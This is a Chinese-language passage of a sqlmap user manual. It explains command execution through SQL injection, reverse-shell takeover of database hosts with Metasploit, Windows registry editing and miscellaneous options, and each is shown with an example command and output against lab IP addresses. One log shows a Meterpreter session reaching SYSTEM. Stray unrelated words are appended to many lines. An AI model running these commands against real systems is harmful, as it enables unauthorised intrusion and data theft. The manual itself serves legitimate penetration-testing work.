參數:--os-cmd和--os-shellphp
若數據庫管理系統是MySQL、PostgreSQL或微軟的SQL Server且當前用戶有相關權限Sqlmap就能利用SQL注入執行任意的操做系統命令。python
當數據庫管理系統是MySQL或PostgreSQL時,Sqlmap會經過前面介紹過的文件上傳功能上傳一個包含用戶自定義函數sys_exec()和sys_eval()的二進制共享庫文件,而後建立這兩個用戶自定義函數,經過這兩個函數之一來執行用戶指定的命令。選擇哪一個函數取決於用戶是否想要顯示命令執行的標準輸出。mysql
當數據庫管理系統是微軟的SQL Server時,Sqlmap經過存儲過程xp_cmdshell來執行任意命令。 若xp_cmdshell被禁用(SQL Server >= 2005時默認禁用)Sqlmap會啓用它; 若xp_cmdshell不存在,Sqlmap會建立它。linux
當用戶想要看到命令執行的標準輸出時,Sqlmap使用可列舉的注入技術(盲注、帶內和基於錯誤的注入),而當用戶不想看到命令執行的標準輸出時,堆查詢注入技術將被用於執行命令。git
下例的目標是PostgreSQL:github
python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v 1
部分輸出以下所示:web
web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: PostgreSQL [hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:12] [INFO] the back-end DBMS operating system is Linux [hh:mm:12] [INFO] testing if current user is DBA [hh:mm:12] [INFO] detecting back-end DBMS version from its banner [hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist [hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist [hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file [hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file do you want to retrieve the command standard output? [Y/n/a] y command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)' [hh:mm:19] [INFO] cleaning up the database management system do you want to remove UDF 'sys_eval'? [Y/n] y do you want to remove UDF 'sys_exec'? [Y/n] y [hh:mm:23] [INFO] database management system cleanup finished [hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually
使用參數「--os-shell」能夠模擬一個能夠執行任意命令的shell,和「--sql-shell」同樣這個shell也能夠用Tab鍵補全,支持歷史記錄。正則表達式
當堆查詢不被支持(如PHP或ASP+Mysql)且數據庫管理系統是MySQL時,仍然能夠經過SELECT的從句INTO OUTFILE在Web所在主機的可寫目錄建立一個Web後門,經過這個Web後門來執行命令。Sqlmap支持這一技術並要求用戶提供一些用逗號分割的多是可寫目錄的路徑。Sqlmap支持如下這些服務器端腳本語言:sql
參數:--os-pwn、--os-smbrelay、--os-bof、--priv-esc、--msf-path和--tmp-pathshell
若數據庫管理系統是MySQL、PostgreSQL或微軟的SQL Server且當前用戶有相關權限Sqlmap就有可能在攻擊者的主機和數據庫所在主機之間創建帶外TCP鏈接。根據用戶的選擇,此鏈接能夠是交互式命令shell,Meterpreter會話或圖形用戶界面(VNC)會話。
Sqlmap要靠Metasploit生成shellcode,在數據庫所在主機執行shellcode有如下四種技術:
下面是以MySQL爲目標的例子:
python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit [...] [hh:mm:31] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2003 web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0 back-end DBMS: MySQL 5.0 [hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:31] [INFO] the back-end DBMS operating system is Windows how do you want to establish the tunnel? [1] TCP: Metasploit Framework (default) [2] ICMP: icmpsh - ICMP tunneling > [hh:mm:32] [INFO] testing if current user is DBA [hh:mm:32] [INFO] fetching current user what is the back-end database management system architecture? [1] 32-bit (default) [2] 64-bit > [hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist [hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist [hh:mm:33] [INFO] detecting back-end DBMS version from its banner [hh:mm:33] [INFO] retrieving MySQL base directory absolute path [hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file [hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file how do you want to execute the Metasploit shellcode on the back-end database und erlying operating system? [1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default) [2] Stand-alone payload stager (file system way) > [hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode which connection type do you want to use? [1] Reverse TCP: Connect back from the database host to this machine (default) [2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535 [3] Bind TCP: Listen on the database host for a connection > which is the local address? [192.168.136.1] which local port number do you want to use? [60641] which payload do you want to use? [1] Meterpreter (default) [2] Shell [3] VNC > [hh:mm:40] [INFO] creation in progress ... done [hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait.. =[ metasploit v3.7.0-dev [core:3.7 api:1.0] + -- --=[ 674 exploits - 351 auxiliary + -- --=[ 217 payloads - 27 encoders - 8 nops =[ svn r12272 updated 4 days ago (2011.04.07) PAYLOAD => windows/meterpreter/reverse_tcp EXITFUNC => thread LPORT => 60641 LHOST => 192.168.136.1 [*] Started reverse handler on 192.168.136.1:60641 [*] Starting the payload handler... [hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', please wait.. [*] Sending stage (749056 bytes) to 192.168.136.129 [*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 hh:mm:52 +0100 2011 meterpreter > Loading extension espia...success. meterpreter > Loading extension incognito...success. meterpreter > [-] The 'priv' extension has already been loaded. meterpreter > Loading extension sniffer...success. meterpreter > System Language : en_US OS : Windows .NET Server (Build 3790, Service Pack 2). Computer : W2K3R2 Architecture : x86 Meterpreter : x86/win32 meterpreter > Server username: NT AUTHORITY\SYSTEM meterpreter > ipconfig MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 Intel(R) PRO/1000 MT Network Connection Hardware MAC: 00:0c:29:fc:79:39 IP Address : 192.168.136.129 Netmask : 255.255.255.0 meterpreter > exit [*] Meterpreter session 1 closed. Reason: User exit
在Windows中Mysql默認以SYSTEM身份運行,但PostgreSQL不管是在Windows仍是在Linux中都以低權限的用戶postgres運行。SQL Server 2000默認以SYSTEM身份運行,但SQL Server 2005到2008大多數時間以NETWORK SERVICE身份運行,少數時候以LOCAL SERVICE身份運行。
使用參數「--priv-esc」能夠執行Metasploit的getsystem命令以嘗試提高權限。
知足如下條件就能夠對Windows註冊表進行操做:
參數:--reg-read
參數:--reg-add
參數:--reg-del
參數:--reg-key、--reg-value、--reg-data和--reg-type
適當使用上列參數就能夠在命令中添加或修改一個Windows註冊表鍵值而不用在Sqlmap運行時以問答方式提供數據。
下面是一個例子:
python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
參數:-s
Sqlmap會自動地爲每個目標建立長久保存的會話SQLite文件,該文件統一存儲在特定目錄(如:~/.sqlmap/output/)中,其中保存着恢復會話所需的全部數據。若用戶想要明確地指定SQLite文件(例如想要將多個目標的數據存儲到同一個SQLite文件中),可以使用此參數。
參數:-t
該參數後跟一個文件路徑,用於將HTTP(S)請求和響應以文本格式記錄到文件中做爲日誌。這樣的日誌在調試時是頗有用的。
參數:--batch
使用該參數可讓Sqlmap以非交互模式運行,全部要求的輸入都會取默認值。
參數:--charset
爲正確解碼數據,Sqlmap會使用Web服務器提供的信息(如HTTP頭部中字符編碼的設置),或是使用第三方庫chardet來啓發式地肯定字符編碼。
可使用參數「--charset」來指定字符編碼,如「--charset=GBK」。
參數:--crawl
Sqlmap能夠從目標URL開始爬取目標站點並收集可能存在漏洞的URL。使用該參數還須要設置爬取深度,深度是相對於開始爬取的目標URL而言的。只有全部新連接都被遞歸地訪問事後纔算爬取結束。建議該參數與「--delay」配合使用。
下例的目標的MySQL:
python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
部分輸出以下:
[xx:xx:53] [INFO] starting crawler [xx:xx:53] [INFO] searching for links with depth 1 [xx:xx:53] [WARNING] running in a single-thread mode. This could take a while [xx:xx:53] [INFO] searching for links with depth 2 [xx:xx:54] [INFO] heuristics detected web page charset 'ascii' [xx:xx:00] [INFO] 42/56 links visited (75%)
參數:--crawl-exclude
在此參數後跟一個正則表達式能夠排除不想爬取的URL。若URL匹配正則,則不被爬取。如用「--crawl-exclude=logout」來排除全部含有字符串「logout」的URL。
參數:--csv-del
當數據被輸出到CSV文件(--dump-format=CSV)時,默認以「,」分隔,可使用此參數指定分隔符。如:「--csv-del=";"」。
參數:--dbms-cred
在某些狀況下因爲數據庫管理系統當前用戶權限較低從而致使動做執行失敗,此時能夠用此參數提供admin用戶認證憑據,Sqlmap就會對執行失敗的部分特意使用「run as」機制(如:微軟SQL Server的OPENROWSET)以admin用戶身份從新執行失敗的動做。固然,得知道admin用戶認證憑據才行。
參數:--dump-format
Sqlmap對列舉的數據有三種不一樣的輸出格式:CSV、HTML和SQLITE。默認爲CSV格式,每一個數據表都被保存到一個文本文件中,一行是一條記錄,以逗號分隔(或是用「--csv-del」指定分隔符)。選擇HTML格式,全部數據被保存在一個HTML文件中,數據存放在一個個table中。選擇SQLITE格式,全部數據被保存在一個SQLITE文件中,SQLITE中表名和結構會和原表相同。
參數:--eta
該參數用於顯示估計的完成時間。下例是目標爲Oracle的布爾型盲注:
python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
部分輸出以下:
[hh:mm:01] [INFO] the back-end DBMS is Oracle [hh:mm:01] [INFO] fetching banner [hh:mm:01] [INFO] retrieving the length of query output [hh:mm:01] [INFO] retrieved: 64 17% [========> ] 11/64 Then: 100% [===================================================] 64/64 [hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: Oracle banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
如你所見,Sqlmap先計算查詢輸出的長度,而後估計完成時間,最後顯示百分比進度條並統計已經接受的數據。
參數:--flush-session
使用該參數能夠刷新會話文件,以免Sqlmap默認的緩存機制可能形成的一些問題。使用該參數的前提是真正理解會話文件的概念。另一個可行的方法是手工刪除會話文件。
參數:--forms
除了用「-r」和「--data」來測試表單數據是否存在注入點外,還可使用參數「--forms」來測試表單數據是否存在注入點。
同時使用參數「--forms」和「-u」,Sqlmap會解析目標URL(「-u」指定的那個URL)返回頁面中的表單,測試表單是否有注入點,而不對目標URL進行注入測試。
參數:-fresh-queries
使用此參數用於忽略會話文件中的查詢結果從新執行查詢。
參數:--hex
非ASCII數據很容易在傳輸時出錯,使用hex函數能夠將目標數據庫中數據以十六進制返回。
下例的目標是PostgreSQL:
python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors
部分輸出以下所示:
[xx:xx:14] [INFO] fetching banner [xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR (58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC) [xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>' [xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
參數:--output-dir
Sqlmap默認將會話文件和結果文件保存到某個子目錄output中,可使用此參數指定輸出目錄,如:「--output-dir=/tmp」。
參數:--parse-errors
如果Web應用被配置成Debug模式則極可能在HTTP響應頁面中顯示SQL錯誤信息。這些錯誤信息對於理解某操做失敗的緣由是頗有用的。例如由於權限不足致使的失敗錯誤信息是相似這樣的:「Access denied for user 」。
下例的目標是微軟SQL Server:
python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors
部分輸出以下所示:
[xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the timeneeded to find the right number of query columns. Automatically extending the rangefor current UNION query injection technique test [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' [xx:xx:17] [INFO] target URL appears to have 3 columns in query
參數:--pivot-column
有時(如在微軟SQL Server、Sybase和SAP MaxDB中)因爲缺少相似機制不能夠直接使用偏移m,n的方式列舉數據表記錄。在這種狀況下,Sqlmap經過肯定最適合的中軸列(最獨特的值)來列舉數據,中軸列的值稍後用於檢索其餘列值。
若是自動選擇失敗就須要使用該參數手動指定中軸列,如:「--pivot-column=id」。
參數:--save
使用該參數能夠保存Sqlmap命令行參數到配置文件中,該文件可編輯而且可使用參數「-c」加載。配置文件是INI格式的。
參數:--update
使用此參數能夠升級Sqlmap,顯然,須要可以鏈接互聯網。萬一執行失敗,能夠在Sqlmap安裝目錄中執行「git pull」來升級Sqlmap。在Windows中沒有git命令可使用SmartGit之類的git客戶端。
實際上「--update」和「git pull」以一樣的方式升級Sqlmap,都是從git倉庫中獲取最新源代碼。
強烈建議在報告bug前先升級Sqlmap